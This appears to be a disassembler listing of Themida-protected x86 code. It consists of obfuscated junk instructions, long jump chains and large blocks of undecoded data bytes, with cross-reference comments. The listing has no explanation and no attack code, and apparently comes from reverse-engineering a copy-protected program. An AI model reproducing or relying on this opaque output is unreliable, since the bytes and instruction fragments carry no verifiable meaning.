dd 0E9E91C5Fh db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_544B5B: ; CODE XREF: Themida_:0054924Cj add ebx, ecx jmp loc_54C970 ; --------------------------------------------------------------------------- dw 6852h dd 75990340h, 2EAC15Ah, 4CD1E942h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544B72: ; CODE XREF: Themida_:00546187j pop dword ptr [esp] pop esp jmp loc_54D5CB ; --------------------------------------------------------------------------- db 0BDh dd 77045159h, 81EDD14Dh, 45F6AEF5h, 0E9EA01C8h, 3068h dd 4FBAE95Dh, 0E3810000h, 292645D0h, 90E38143h, 4B3A4E62h dd 2052F381h, 0A2E96B09h, 50000044h, 4055854h, 83000000h dd 0AEE904C0h, 680000B5h, 6A2E753Bh, 6550E9h, 24043300h dd 33240431h, 505C2404h, 0C203AFB8h, 7F7B354Bh, 0E0C13335h dd 40D8F703h, 81E9D0F7h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_544BEB: ; CODE XREF: Themida_:0054DA3Cj add esi, ebx sub esi, 3EEE7C5Bh pop ebx jmp loc_54D541 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 46A3BA52h, 0E281146Fh, 6BCA4A1Ah, 0E904EAC1h, 68C4h dd 0AF78147h, 318CE1C5h, 243C8BFDh, 4C481h, 0E8010000h dd 8161E9h, 64F78100h, 215FDC69h, 0EB815FFBh, 0E421BF7Dh dd 455BDD89h, 4F5DED81h, 0E82915F8h, 7154055Dh, 0E9567B53h dd 7B74h, 0C681E689h, 4, 4EE81h, 34870000h, 0E2E95C24h dd 8900009Bh, 405E0h, 0C0830000h, 24043304h, 587EE9h db 0 ; --------------------------------------------------------------------------- loc_544C79: ; CODE XREF: Themida_:0054A23Fj mov eax, [esp] add esp, 4 jmp loc_547AAD ; --------------------------------------------------------------------------- loc_544C84: ; CODE XREF: Themida_:00549AFCj add edi, ebx mov ebx, [esp] jmp loc_5486C0 ; --------------------------------------------------------------------------- aSX db ',',27h,'И╪X',0 dd 5EF32100h, 40ABF381h, 0E3814280h, 2A6E5F36h, 52AAC381h dd 0F3813081h, 22057035h, 9308E9h db 0 ; --------------------------------------------------------------------------- loc_544CB5: ; CODE XREF: Themida_:0054DE8Fj xor esi, edi pop edi xor esi, 0D457AADCh add edi, 38EF4552h add edi, esi sub edi, 38EF4552h pop esi jmp loc_54F51C ; --------------------------------------------------------------------------- dw 8CB5h dd 0D086C580h, 68ED80EDh, 0F6CBCD80h, 6CBCE9D5h, 0F3810000h dd 262B386Ah, 0D142EB81h, 0DF014A90h, 0B10FE9h, 41B95100h dd 8950D41Fh, 441E9CFh, 8B660000h, 8950241Ch, 0B5E952E0h dd 100003Ah, 2BA52E8h, 0C1647447h, 814203EAh, 61196DC2h dd 0E9D2F731h, 8F50h, 4EC81h, 1C890000h, 80BBB324h, 0B45001C3h dd 3EF4803Fh, 0E958E300h, 7E64h, 66DF8966h, 3C8BFD89h dd 4C48324h, 12E1E9h, 81E78900h, 4ECh, 240C8900h, 4B9h dd 59CF0100h, 5704C783h, 42474FFh, 24048F5Fh, 0E930FF5Ch dd 0FFFFF80Ah, 31C2E955h, 0FF5C0000h, 48B2434h, 4C48324h dd 0B711E9h, 0EB805B00h, 80E32852h, 8B6652C3h, 0C4812404h dd 2, 9EB45053h, 9FE6E9h db 0 ; --------------------------------------------------------------------------- loc_544DB1: ; CODE XREF: Themida_:0054488Bj push 70C5h mov [esp], ebx mov ebx, 64477D02h jmp loc_546143 ; --------------------------------------------------------------------------- db 80h dd 0C480F8E9h, 66CC28B2h, 28B2B652h, 71BBE9F4h, 0A5BE0000h dd 3144CCA7h, 0B309E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_544DE2: ; CODE XREF: Themida_:005473EEj xor ecx, esi xor esi, ecx xor ecx, esi inc esi xor ecx, esi xor esi, ecx jmp loc_546D18 ; --------------------------------------------------------------------------- aS_6 db '!жИ[>',0 dd 0C3316600h, 9CC1E9h, 0E0D15F00h, 2972E9h, 0E9596600h dd 31FFh ; --------------------------------------------------------------------------- loc_544E10: ; CODE XREF: Themida_:0055045Cj push ebp push dword ptr [esp+4] jmp loc_547270 ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 2C8904ECh, 1089BD24h, 0BB534861h, 1DBE1FD3h dd 2AFEE9h, 88E95400h, 520000ACh, 4DFDE951h, 6C810000h dd 1AF70424h, 742970BBh, 44810424h, 1AF70424h, 0E95E70BBh dd 7AF3h, 6906E95Ch, 5F680000h, 89000014h, 7CE92434h, 8900000Ch dd 4C581E5h, 0E9000000h, 4A3Bh, 51E08950h, 5421B1B9h, 7E1C160h dd 0E1C1D9F7h, 59C98104h, 8158286Bh, 5A3E97E1h, 1D02E94Ah dd 0E2890000h, 4C281h, 0B8500000h, 5FEB3CBAh, 3D30C505h dd 6D7B3527h, 0C2298728h, 24148758h, 2414895Ch, 0F7BFE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_544EC6: ; CODE XREF: Themida_:0054AE79j xchg ebp, [esp] pop esp add esp, 4 push edx push esp pop edx jmp loc_54D77D ; --------------------------------------------------------------------------- aFrL db 'fR╤╚',0 dw 66F1h dd 337E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_544EE2: ; CODE XREF: Themida_:0054D168j jz loc_545C5C push 0A3Ah mov [esp], ebx push eax push 7EC81B5Fh push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 not eax xor eax, 8137E4BCh push edi mov edi, eax mov ebx, edi pop edi pop eax jmp loc_549699 ; --------------------------------------------------------------------------- db 5 dd 7D3646E3h, 83240C8Bh, 0FF5004C4h, 8B042474h, 59E92404h dd 810000A4h, 921BB2C3h, 3821E91Fh, 5B540000h db 81h, 0C3h word_544F42 dw 4 ; DATA XREF: ___:off_435718o dd 0EB830000h, 7283E904h, 8B660000h, 0E68240Ch, 89000033h dd 4A68241Ch, 89000021h, 0E389241Ch, 4C381h, 0EB810000h dd 4, 5C241C87h, 7F7C68h, 24248900h, 8E71E9h, 4EAC100h dd 0FD6FE957h, 0C330FFFFh, 1370E952h, 3C890000h, 212BBF24h dd 0C7813CEFh, 0FFFFFFFFh, 0EFD1D7F7h, 57E96855h, 3C890000h dd 7648BF24h, 0F7812D59h, 6972473Bh, 561AE781h, 0EF81001Fh dd 7BCB3FCCh, 0EFC1DFF7h, 0D7EF8104h, 5741AB46h, 83242C8Bh dd 0E95F04C4h, 7E1Eh, 99E9E389h, 58FFFFFEh, 1F57E9h, 52595400h dd 0B15DE9h db 0 ; --------------------------------------------------------------------------- loc_544FF1: ; CODE XREF: Themida_:0054FA3Cj add ebp, 4 jmp loc_54E4D2 ; --------------------------------------------------------------------------- dd 0B9240C89h, 0BC7FD30Ch, 559CE01h, 162C5DE6h, 0E62DF001h dd 5E162C5Dh, 5004C083h, 42474FFh, 462CE9h, 7E95200h, 0E9000028h dd 0FFFFF55Eh, 0C381E389h, 4, 4D0BE9h, 240C3300h, 4EC835Ch dd 89240489h, 405E0h, 0BA520000h, 4, 875AD029h, 895C2404h dd 70682414h, 8B39DC08h, 89532414h, 4C381E3h, 83000000h dd 1C8704C3h, 0DE95C24h, 5B00004Fh, 8B2434FFh, 0C4812404h dd 4, 0E904C483h, 7AFBh, 0E940478Fh, 0FFFFF4F6h, 0C103E5C1h dd 0D5F706E5h, 0E906EDC1h, 542Fh ; --------------------------------------------------------------------------- loc_5450A4: ; CODE XREF: Themida_:0054AA63j pop ecx shl ebp, 4 neg ebp not ebp shr ebp, 7 xor ebp, 10487A90h sub esp, 4 mov [esp], ebx jmp loc_548B36 ; --------------------------------------------------------------------------- dd 4C781h, 3C330000h, 243C3124h, 5C243C33h, 5451F1F7h dd 0E9240C8Bh, 4A9Dh ; --------------------------------------------------------------------------- loc_5450DC: ; CODE XREF: Themida_:0054B1CDj push esi mov esi, 703564C2h inc esi neg esi jmp loc_54F7CE ; --------------------------------------------------------------------------- dw 6853h dd 1A0C78AFh, 57C3815Bh, 89E9419Dh, 0CD815BDDh, 4DEA50E4h dd 5AACF581h, 0D5F74D48h, 0F3B1F581h, 2EE9FD59h, 1000089h dd 214305E8h, 335D7092h, 4312404h, 24043324h, 9CC1385Ch dd 0FFF45DE9h, 243489FFh, 168h, 2434FF00h, 0FF2434FFh dd 835E2434h, 0CBE904C4h, 8B000054h, 0C483240Ch, 97F9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545152: ; CODE XREF: Themida_:00548F9Dj mov edx, [esp] jmp loc_54948D ; --------------------------------------------------------------------------- dw 0EE81h dd 4994B12Eh, 3D2E9605h, 7CD2E96Dh, 77FF0000h, 58669D1Ch dd 9C240418h, 0A79AE9h, 0D831AD00h, 8904EC83h, 6853243Ch dd 3B517272h, 9D99E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54518E: ; CODE XREF: Themida_:0054F8A1j inc eax xor eax, 104C02E2h xor esi, eax pop eax and esi, 310F162Bh not esi jmp loc_548A50 ; --------------------------------------------------------------------------- dd 2C381h, 1C870000h, 0F665C24h, 9C2404B3h, 0FFF3D1E9h dd 4EC81FFh, 89000000h, 4368241Ch, 0E904D74Bh, 4B87h ; --------------------------------------------------------------------------- loc_5451CC: ; CODE XREF: Themida_:0054BF8Cj mov ecx, [ebx] pop ebx jmp loc_54940F ; --------------------------------------------------------------------------- dd 205h, 74E95300h, 0FF00001Eh, 58042474h, 5C24048Fh, 6E53E955h dd 15F0000h, 0B477E9F1h, 248B0000h, 24040024h, 0F388E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545202: ; CODE XREF: Themida_:00548DC8j xchg ebp, [esp] mov esp, [esp] jmp loc_5485B6 ; --------------------------------------------------------------------------- db 5Ah, 31h, 4Ch dd 5E590424h, 9039E9h, 37C38000h, 0E8EB80h, 0E8C380CBh dd 5937EB80h, 3D096856h, 64E902EEh, 89000014h, 9C502414h dd 3151E9h, 242C8700h, 33E9E9h, 50E18900h, 44BE9h, 4C28100h dd 0E9000000h, 1D4Dh, 6FBB535Bh, 8168281Eh, 59532BC7h dd 81DF014Fh, 59532BEFh, 0FB295B4Fh, 5CEB815Fh, 0FF115A25h dd 853AE933h, 0E6680000h, 0E9000003h, 0FFFFF374h, 808DCE80h dd 9EE917EEh, 6600008Fh, 5224048Bh, 36AE68h, 24248900h dd 4BF57h, 7C010000h, 5A5F0424h, 5D83BF57h, 0CF816CB5h dd 84160D6h, 37A4EF81h, 16E9180Bh db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5452C3: ; CODE XREF: Themida_:0054F71Cj pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 2749h mov [esp], edi jmp loc_547EAF ; --------------------------------------------------------------------------- dd 251EE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5452EA: ; CODE XREF: Themida_:0054A05Fj xchg eax, [esp] pop esp jmp loc_546082 ; --------------------------------------------------------------------------- db 8Fh dd 0BB532404h, 4, 4245C01h, 2434FF5Bh, 5670E95Bh, 7BE90000h dd 80FFFFF2h, 0ED804EEDh, 28FB044Ah, 0E9FB2CE8h, 98FFh dd 2C481h, 81660000h, 66451AEBh, 66BE6656h, 0F331664Bh dd 73685E66h, 89000027h, 5E9243Ch, 68FFFFFAh, 102Eh, 3007E9h dd 5AD30000h dword_545350 dd 0E9F8EB80h, 21D2h, 582434FFh, 8904EC83h, 0E2892414h ; DATA XREF: ___:off_43CCB4o dd 4260E9h, 5FF82900h, 8B240487h, 3C892424h, 38BD5524h dd 8169B12Dh, 51A267F5h, 27D8E920h, 0C8310000h, 0E9240C8Bh dd 1284h ; --------------------------------------------------------------------------- loc_545390: ; CODE XREF: Themida_:0054D492j mov [esp], esi jmp loc_549AF0 ; --------------------------------------------------------------------------- loc_545398: ; CODE XREF: Themida_:0054E2F1j xor edi, [esp] xor [esp], edi jmp loc_54E894 ; --------------------------------------------------------------------------- db 83h dd 148704EAh, 24895C24h, 24048124h, 4, 4BA525Fh, 0E9000000h dd 80D7h, 8924248Bh, 0E389241Ch, 6937E950h, 0DE880000h dd 0F388D6F6h, 0B6525A66h, 8BF30042h, 0C4812414h, 4, 34FFD830h dd 241C8B24h, 4C481h, 0C4830000h, 0B7535204h, 0E951665Fh dd 5774h ; --------------------------------------------------------------------------- loc_545400: ; CODE XREF: Themida_:0054EA7Bj add edx, 7E241B3Dh sub edx, 216F5341h xor edx, 0E8937CA4h xor ebx, edx mov edx, [esp] add esp, 4 and eax, ebx pop ebx or eax, eax jz loc_544921 push ebx push ebp mov ebp, 4B1E5BD1h neg ebp xor ebp, 3A9B0857h neg ebp push 5BB2h mov [esp], esi jmp loc_54B075 ; --------------------------------------------------------------------------- loc_545446: ; CODE XREF: Themida_:00545810j pop dword ptr [esp] not eax xchg eax, [esp] mov eax, [esp] push eax mov eax, esp add eax, 4 push edx mov edx, 7CE82EB6h push edi mov edi, 7CE82EB2h xor edx, edi pop edi add eax, edx pop edx xor eax, [esp] jmp loc_55033F ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 5EF38904h, 11BE9h, 79BF5700h, 0E952A16Ah dd 7C61h, 35E268h, 242C8900h, 9D6F93BDh, 8E5C17Ch, 0F8F58145h dd 1D22E31h, 242C8BEAh, 0E904C483h, 6662h, 24248B66h, 0FFF0D1E9h db 0FFh ; --------------------------------------------------------------------------- loc_5454B9: ; CODE XREF: Themida_:0054809Fj sub esi, ebx pop ebx shl esi, 5 neg esi push ebx mov ebx, 3116654Eh or ebx, 118070ABh push eax jmp loc_54DDE3 ; --------------------------------------------------------------------------- db 68h dd 1505h, 0BB241C89h, 45137BDAh, 0CB81D3F7h, 1D4E7291h dd 4B06E3C1h, 8106EBC1h, 6E3D80EBh, 20EE9D6h, 0CF010000h dd 0E9240C8Bh, 4445h, 34FFDE01h, 0C4835B24h, 2C68304h dd 7537E956h, 0C1880000h, 8BCB0058h, 0C481240Ch, 4, 231E9h db 0 ; --------------------------------------------------------------------------- loc_545529: ; CODE XREF: Themida_:0054CEDBj or edx, 1ADB180Dh jmp loc_548E8D ; --------------------------------------------------------------------------- aAZsqd db '─цZИq└',0 align 4 aW_4tlos db 'W©.4tLOИ╧,',0 align 4 dd 0A205D801h, 5B17A522h, 740468h, 243C8900h, 4C70BE56h dd 0F68122D9h, 71F6F0Bh, 6B8BF681h, 0CE815E2Eh, 108E0C19h dd 7FFE9h, 242C8100h, 5E9D7699h, 60C9E9h, 55E95700h, 8900009Dh dd 5BE9241Ch, 8B00001Bh, 86E92404h, 0E900001Eh, 0FFFFEFEEh dd 875BDF01h, 95C243Ch, 0C7840FC9h, 83000098h, 0BEE904ECh dd 8100005Dh, 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 52AEh dd 0FF2434FFh, 3C8B2434h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 4C4815Ch, 0E9000000h, 87A1h, 591168h, 243C8900h dd 631AE9h, 4EC8300h, 54243C89h, 4C7815Fh, 83000000h, 0AD6804C7h dd 8900006Dh, 74FF243Ch, 8F5F0424h, 248B2404h, 55AEE924h dd 0EB810000h, 1, 68D3F7h, 29000000h, 815B241Ch, 0AD55DAF3h dd 0EBC14310h, 0BEC38103h, 0E9732F58h, 0FFFFF69Eh ; --------------------------------------------------------------------------- loc_545648: ; CODE XREF: Themida_:00544884j shr edx, 1 cmp eax, edx jz loc_54A49D push ebp push 4992h mov [esp], edi mov edi, 5C98681Ch push edx mov edx, 2BF65996h mov ebp, 69CE35BCh xor ebp, edx pop edx jmp loc_547ED8 ; --------------------------------------------------------------------------- dd offset dword_56C180 aSol db 'яИol',0 dd 24048F00h, 6624248Bh, 0E924148Bh, 32D3h, 0FFEEF9E9h dd 0E9E389FFh, 570Eh, 2EA1BA52h, 0D0895647h, 6E8C15Ah dd 0C106E8C1h, 54802E0h, 0FFEA6E3Dh, 5897E981h, 0C1017BC2h dd 496CE9h, 4EC8100h, 89000000h, 74FF242Ch, 8DE90424h dd 53000091h, 5C26ADBBh, 661FE947h, 0CAB00000h, 6B28E9h dd 22CA6800h, 2C890000h, 1CCEBD24h, 0BB53326Dh, 3AB51B2Dh dd 0E95BDD21h, 7A21h, 5D4BE2BDh, 0E9EB8948h, 4A70h, 815BDE29h dd 0E614A0C3h, 81F3010Dh, 0E614A0EBh, 24348B0Dh, 4C481h dd 0BD550000h, 2AF67232h, 2C8BEB01h, 4C48324h, 1CE9EB81h dd 0C3012EDDh, 0A60E9h, 0E9F80100h, 0A310h, 0C181E189h dd 4, 4C181h, 0C870000h, 0C97E924h, 0C3280000h, 56A7E9h db 0 ; --------------------------------------------------------------------------- loc_545761: ; CODE XREF: Themida_:005468FAj mov ebp, 54723C34h xor ebp, 2B8E5910h push edx mov edx, 5D6F2A97h sub edx, 13B2092Dh neg edx and edx, 47DB7602h neg edx add edx, 670495FBh xor ebp, edx pop edx xor ebp, 1F3E5A5Dh jmp loc_5475BF ; --------------------------------------------------------------------------- dw 8159h dd 0FE7830EAh, 556E92Bh, 0E3E90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5457A7: ; CODE XREF: Themida_:0054A7D3j mov [esp], ebx push edi push 2E78h mov [esp], ecx push 2BEEh mov [esp], esi jmp loc_5469B1 ; --------------------------------------------------------------------------- dd 0FFEDC5E9h, 46E951FFh db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5457CB: ; CODE XREF: Themida_:00545C81j mov edi, [esp] add esp, 4 jmp loc_548728 ; --------------------------------------------------------------------------- aS_7 db '\Ищ+',0 dw 8000h dd 6DE9FDC5h, 0FF0000A5h, 10E92434h, 520000AEh, 0FFF6A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5457F5: ; CODE XREF: Themida_:0054D8C9j add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax push eax push dword ptr [esp+4] pop eax jmp loc_545446 ; --------------------------------------------------------------------------- db 5Eh, 33h, 1Ch dd 241C3124h, 2504E9h db 0 ; --------------------------------------------------------------------------- loc_545821: ; CODE XREF: Themida_:0054AA3Aj push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi mov edi, esp jmp loc_547D35 ; --------------------------------------------------------------------------- loc_54583D: ; CODE XREF: Themida_:005481CEj dec ecx sub ecx, 840A8005h add ebp, ecx pop ecx xchg ebp, [esp] pop esp sub esp, 4 jmp loc_5467A6 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 3C066800h, 34890000h, 4BE24h, 0F3010000h, 241C335Eh dd 33241C31h, 835C241Ch, 0BD5504C4h, 76280CCBh, 4244481h dd 55702663h, 4246C81h, 10644484h, 4244481h, 7F69031Dh dd 4246C29h, 31DB850h, 4DE97F69h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5458A3: ; CODE XREF: Themida_:0054FF12j push esp pop edx add edx, 4 sub edx, 4 jmp loc_54E3EB ; --------------------------------------------------------------------------- db 5Eh dd 8704C483h, 248B243Ch, 0CFF6624h, 0C3E99C24h, 0F6FFFFECh dd 0AB450D2h, 8058E200h, 76E9D0EAh, 87FFFFFAh, 56E9241Ch dd 0E9000011h, 0FFFFECA6h, 0CCD4BF57h, 0F901265Fh, 59CB895Fh dd 0F8CB814Bh, 55789E72h, 6F646852h, 815A0457h, 803104EAh dd 64CEE945h, 0F5BD0000h, 0E959AE21h, 688Eh ; --------------------------------------------------------------------------- loc_545914: ; CODE XREF: Themida_:0054D7A9j push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp] pop esp sub ebx, 4 push ebx jmp loc_5446E3 ; --------------------------------------------------------------------------- dw 0FE58h dd 68D6F6CEh, 65C5h, 50240C89h, 73B14CB0h, 802BC180h, 4AE915C1h dd 3000005Bh, 0D80059CBh, 0A9E95B66h, 4000043h, 0D82859FDh dd 0FFF4DEE9h, 25E9ACFFh, 66000050h, 0E924048Bh, 0A19Fh dd 0A203ADB9h, 8BCD3134h, 23E9240Ch, 5D00008Ah, 211668h dd 243C8900h, 6C1ACF68h, 2434FF4Dh, 9119E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_545992: ; CODE XREF: Themida_:0054D254j neg eax jmp loc_547520 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 50000000h, 405E089h, 2D000000h, 4, 5C240487h, 53241489h dd 52BEE9h, 0FFC82000h, 52592434h, 2A6DE9h, 0CBC68100h dd 4E1DDB2Ah, 0A8E95246h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5459D3: ; CODE XREF: Themida_:0054F289j add ecx, edx pop edx push eax mov eax, 2 add ecx, eax jmp loc_54C27C ; --------------------------------------------------------------------------- db 31h dd 14332414h, 24248B24h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFFEB8Eh, 0E9F80166h, 0FFFFFBC4h, 5C240C87h, 0E9242C89h dd 8DFCh ; --------------------------------------------------------------------------- loc_545A10: ; CODE XREF: Themida_:00550462j mov edx, 1A5D2233h dec edx inc edx and edx, 6EEE26D5h jmp loc_546E95 ; --------------------------------------------------------------------------- dw 2C89h dd 63E95324h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545A2B: ; CODE XREF: Themida_:0054E673j push ecx jmp loc_54796B ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 57A7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545A3A: ; CODE XREF: Themida_:0054C72Ej pop ecx mov eax, ebx jmp loc_550119 ; --------------------------------------------------------------------------- loc_545A42: ; CODE XREF: Themida_:0054B09Dj pop ecx sub ebp, 4BF01D56h sub ebp, 231D5248h add ebp, 18D015C3h jmp loc_54BCAB ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 56000000h, 4BEh, 12C38100h, 295D9E1Ch, 12EB81F3h dd 5E5D9E1Ch, 0E9241C87h, 0FFFFF940h, 4EC835Ah, 0E9241489h dd 3EE9h ; --------------------------------------------------------------------------- loc_545A8C: ; CODE XREF: Themida_:0054BDCBj sub eax, 4 jmp loc_549F05 ; --------------------------------------------------------------------------- dd 24048B66h, 5585450h, 4, 2F2EE9h db 0 ; --------------------------------------------------------------------------- loc_545AA5: ; CODE XREF: Themida_:005488FEj mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54D4D0 ; --------------------------------------------------------------------------- dd 1633E1BAh, 405BE92Bh, 0EC800000h, 32CC8020h, 0A0FAE9h dd 8CE95500h, 81000091h, 4C4h, 21CE8100h, 5202F54Eh, 0F0D9E953h dd 9FE9FFFFh, 0BEFFFFEAh, 40D4428Fh, 6F9D68h, 243C8900h dd 46593DBFh, 5FFE315Fh, 15EF329h, 0F429E9C3h, 95DFFFFh dd 0E94958C1h, 1B39h, 8704C583h, 0E95C242Ch, 50F3h ; --------------------------------------------------------------------------- loc_545B20: ; CODE XREF: Themida_:005493CBj mov al, 0C5h not al and al, 58h sub al, 83h push bx mov bh, 0E4h add al, bh pop bx xor al, 22h sub cl, al pop eax add cl, 0Fh not cl not cl xor cl, 2Ch mov ah, cl jmp loc_54D12B ; --------------------------------------------------------------------------- dw 0E983h dd 240C8704h, 8924248Bh, 46E92404h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545B57: ; CODE XREF: Themida_:00547973j and eax, edx pop edx shr eax, 0Bh xor ecx, eax push 17E9h mov [esp], ebx push dword ptr [esp] pop eax push 61FEh mov [esp], eax mov eax, esp push edi mov edi, 4 add eax, edi pop edi push ebx mov ebx, 4 add eax, 408D5AF0h add eax, 41B52427h add eax, ebx jmp loc_544731 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 504C483h, 4, 3302C083h, 4312404h, 5CF0E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545BAE: ; CODE XREF: Themida_:005475BAj push 3407h jmp loc_54CD80 ; --------------------------------------------------------------------------- dd 0CBE99C50h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545BBF: ; CODE XREF: Themida_:0055005Dj add esp, 4 jmp loc_54F55A ; --------------------------------------------------------------------------- db 0FFh a4Shy db '4$ИHy',0 dw 5200h dd 241165BAh, 7412E912h, 0C1810000h, 2004687h, 1AF3685Bh dd 0C890000h, 2474FF24h, 48F5904h, 4895C24h, 4B824h, 0B8500000h dd 50C52000h, 8244401h, 24440158h, 246C8104h, 0C5200004h dd 30E95850h, 0BE000073h, 53E74690h, 0FFF221E9h, 32B353FFh dd 525BDE88h, 0E939B450h, 5876h, 492C22B7h, 20AFE9h db 0 ; --------------------------------------------------------------------------- loc_545C39: ; CODE XREF: Themida_:0054ECBCj pop ebp sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] loc_545C5C: ; CODE XREF: Themida_:loc_544EE2j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], edi mov edi, ebx mov edx, edi jmp loc_5457CB ; --------------------------------------------------------------------------- dw 0C483h dd 0EC835804h, 24148904h, 8904EC83h, 0D568242Ch, 5D14F21Eh dd 0FCB9C581h, 5A5553DFh, 56242C8Bh, 0C681E689h, 4, 0E904C683h dd 6461h, 83585450h, 3C8904ECh, 4BF24h, 0E050000h, 1378506h dd 6848E9F8h, 895C0000h, 0E389241Ch, 4EC8356h, 68243C89h dd 2CAA25FFh, 1BE7815Fh, 4F2BA713h, 74DEF781h, 0E9572BD5h dd 5624h, 5E41C381h, 0D3012E07h, 0EDE9E957h, 248BFFFFh dd 6EAC124h, 194DF281h, 0EBE9531Ah, 29000068h, 3C875DEFh dd 3C895C24h, 1D6824h, 8F540000h, 4832404h, 3C8B0424h dd 4C48124h, 50000000h, 4B951h, 0D5E90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_545D43: ; CODE XREF: Themida_:0054CEC9j pop ebx jmp loc_5464E7 ; --------------------------------------------------------------------------- db 21h, 0F0h, 0FFh a4Vichaj db '4$^V┴ФhaJ',0 dw 8900h dd 68532414h, 5AC626C3h, 3C2FE95Bh, 1C330000h, 241C3124h dd 0E9241C33h, 88E1h, 38F3B951h, 0CE3178E9h, 79EBE9h db 0 ; --------------------------------------------------------------------------- loc_545D81: ; CODE XREF: Themida_:00549580j add esp, 4 push ecx jmp loc_54DA6B ; --------------------------------------------------------------------------- db 5Eh, 81h, 0C6h dd 4, 0FFFA56E9h db 0FFh ; --------------------------------------------------------------------------- loc_545D99: ; CODE XREF: Themida_:0054628Cj or eax, eax jnz loc_546082 push 1 mov edx, [esp] jmp loc_547633 ; --------------------------------------------------------------------------- dw 0C483h dd 0ACB95104h, 0F70D3225h, 42F0E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545DBE: ; CODE XREF: Themida_:00547648j pop ebx push 6670h mov [esp], edi push eax jmp loc_54F222 ; --------------------------------------------------------------------------- db 66h, 68h, 0D0h dd 6654661Dh, 8324048Fh, 896602ECh, 0EC81241Ch, 2, 0D30E9h dd 4EC8100h, 0E9000000h, 0A34Ch ; --------------------------------------------------------------------------- loc_545DF4: ; CODE XREF: Themida_:0054D54Aj mov esp, [esp] mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_5484B0 ; --------------------------------------------------------------------------- loc_545E05: ; CODE XREF: Themida_:0054CA67j push dword ptr [esp] mov edx, [esp] jmp loc_54A464 ; --------------------------------------------------------------------------- db '\h╢|',0 align 2 dw 1C89h dd 4EC8324h, 0BE243489h, 22D30ED8h, 27A768h, 5DDBE900h dd 0C4810000h, 4, 51A2E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545E3A: ; CODE XREF: Themida_:00547F1Dj mov ecx, [esp] jmp loc_54E63F ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FE48F381h, 0D8014ACBh, 4A91E95Bh, 81590000h, 2C7h dd 243C8700h, 9CC8845Ch, 0FFE721E9h, 5E7C1FFh, 0E124F781h dd 0DDE9FD27h, 0FF000065h, 0E9042474h, 0FFFFE897h, 24048B66h dd 48B5450h, 4C48124h, 0E9000000h, 3D47h, 5104C483h, 4F89D989h dd 1C8B5920h, 0E3895324h, 2F91BA52h, 0F2816C64h, 6C642F95h dd 148BD301h, 4C48124h, 81000000h, 4C3h, 241C8700h, 473A685Ch dd 6DE90000h db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545ECF: ; CODE XREF: Themida_:0054DDEDj push esi jmp loc_54FC1C ; --------------------------------------------------------------------------- db 68h, 0F9h, 45h dd 4A5A04F0h, 711EE9h, 9AE94A00h, 83FFFFF0h, 1C8904ECh dd 4EC8324h, 0E9241489h, 47BAh, 4EC81h, 4890000h, 3DC9E924h dd 0C2810000h, 0DA55332h, 0CEAC281h, 3FE929CDh db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545F17: ; CODE XREF: Themida_:005496E1j shr eax, 10h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx xor ebx, ebp xor ebp, ebx xor ebx, ebp xor ebp, edx xor edx, ebp xor ebp, edx not edx jmp loc_54B384 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0C2815A54h, 4, 5204C283h, 73F6E9h db 0 ; --------------------------------------------------------------------------- loc_545F49: ; CODE XREF: Themida_:00548A57j mov eax, 14A10040h add esi, eax pop eax sub eax, esi mov esi, [esp] add esp, 4 add eax, 518C0A99h shr eax, 2 jmp loc_547918 ; --------------------------------------------------------------------------- db 0ACh, 68h, 89h dd 89000014h, 0E953240Ch, 2FBh, 0EC835A66h, 19A7E904h dd 0EC830000h, 240C8904h, 6C685552h, 5D46A30Ch, 